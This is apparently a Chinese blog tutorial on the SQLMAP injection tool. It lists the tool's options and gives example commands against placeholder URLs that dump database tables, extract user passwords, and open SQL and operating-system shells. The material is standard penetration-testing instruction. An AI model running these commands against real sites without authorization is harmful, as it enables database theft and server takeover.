Web安全——SQLMAP基本使用

文章目录

    • SQLMAP使用
      • SQLMAP常用参数
      • SQLMAP常用命令
      • 基本注入流程
      • SQLMAP流程图

SQLMAP使用

Web安全——SQLMAP基本使用_第1张图片

SQLMAP是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,lBM DB2,SQLite,Firebird, Sybase和SAP MaxD。

SQLMAP常用参数

sqlmap -hh
Target 目标
Request 请求
Optimization 优化
Injection 注入
Detection 检测
Fingerprint 指纹
Enumeration 枚举
Burte force 蛮力
File system access 访问文件系统
Operating system access 操作系统访问
Windows 注册表访问
General 一般
Miscellaneous 杂项
命令 信息
–batch sqlmap不会询问你输入,全部默认确定
-u 指定URL,?id=*,利用并明确注入参数
–data “id=1” POST请求
-p 指定注入参数
-r filepath sqlmap可以从一个文本文件中获取HTTP请求,
这样就可以跳过设置—些其他参数(比如cookie,POST数据,等等)
–cookie 在浏览器中登录目标网站后复制出维持登录状态的cookie,例如
–cookie “JSESSIONID=E5D6C8C81;NAME=winner;”
–level 3 HTTP User-Agent/Referer
2 Cookie 默认1
-v -v表示显示sq1map在进行注入时的详细信息,一共有七个等级,默认为1
0、只显示python错误以及严重的信息
1、同时显示基本信息和警告信息
2、同时显示debug信息
3、同时显示注入的payload
4、同时显示HTTP请求
5、同时显示HTTP响应头
6、同时显示HTTP响应页面

SQLMAP常用命令

信息 命令
获取 DataName 数据库的表列 -D DataName --tables
字段 –columns -T “tablename” -D “db_name” -v 0
获取字段数据 -D DataName -T TableNamen -C “admin,password” --dump -v 0
列出指定字段,列出20条 –dump -C “password,user,id” -T “tablename”-D “db_name” --start 1 --stop 20
列出所有数据库所有表 –dump-all -v 0
--version           #显示程序的版本号并退出
-h, --help          #显示此帮助消息并退出
-u                  #设置目标URL
-p                  #指定测试参数
-D                  #指定要进行枚举的数据库名
-T                  #指定要进行枚举的数据库表
-C                  #指定要进行枚举的数据库列
-U                  #指定要进行枚举的数据库用户
--current-user      #获取当前用户名称
--current-db        #获取当前数据库名称
--cookie            #设置cookie值
--dbs               #列出数据库
--tables            #列出数据库中的表
--columns           #列出表中的列
--dump              #列出表中的字段
--sql-shell         #执行SQL命令
--os-cmd            #执行系统命令
--os-shell          #与系统交互shell
-r                  #加载外部请求包
--data=DATA         #通过POST发送数据字符串
--level=LEVEL       #执行测试的等级(1-5,默认为1)
--risk=RISK         #执行测试的风险(0-3,默认为1)
-v VERBOSE          #详细级别:0-6 (默认为1)
--proxy=PROXY       #使用HTTP代理连接到目标URL
--user-agent        #指定HTTP User-Agent
--tamper=TAMPER     #使用给定的脚本(S)篡改注入数据
#获取当前用户名称
sqlmap-u "http://url/news?id=1" --current-user

#获取当前数据库名称
sqlmap-u "http://url/news?id=1" --current-db

#枚举所有数据库名
sqlmap-u "http://url/news?id=1" --dbs

#列出指定数据库的表名
sqlmap-u "http://url/news?id=1" -D "db_name" --tables

#列列出指定数据库对应表的字段
sqlmap-u "http://url/news?id=1" -D "db_name" -T "tablename" --columns

#获取字段内容
sqlmap-u "http://url/news?id=1" -D "db_name" -T "table_name" -C "column_name"--dump

#dbms指定数据库类型
sqlmap-u "http://url/news?id=1" --dbms "Mysql" --users

#列数据库用户
sqlmap-u "http://url/news?id=1" --users

#数据库用户密码
sqlmap-u "http://url/news?id=1" --passwords

#执行指定sql命令
sqlmap-u "http://url/news?id=1" --sql-shell

#执行系统命令
sqlmap-u "http://url/news?id=1" --os-cmd=whoami

#系统交互shell
sqlmap-u "http://url/news?id=1" --os-shell

#保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log"

#恢复已保存进度
sqlmap-u "http://url/news?id=1" --dbs -o"sqlmap.log" --resume

#加载脚本(可利用绕过注入限制)
sqlmap-u "http://url/news?id=1" --tampe r"space2comment"

基本注入流程

#判断注入点和数据类型:
sqlmap -u "http://www.test.php?id=1" --GET方法注入

#判断数据库名(dbs)
sqlmap -u "http://www.test.php?id=1" --dbs

#判断表名(tables)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 --tables

#判断列名(columns)
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 --column

#获取字段
sqlmap -u "http://www.test.php?id=1"-D 数据库名 -T 表名 -C 列名 --dump

SQLMAP流程图

Web安全——SQLMAP基本使用_第2张图片

注:多多使用才是王道,以至于熟练掌握,加油!

你可能感兴趣的:(Web安全,sql注入,自动化工具,web安全,sql)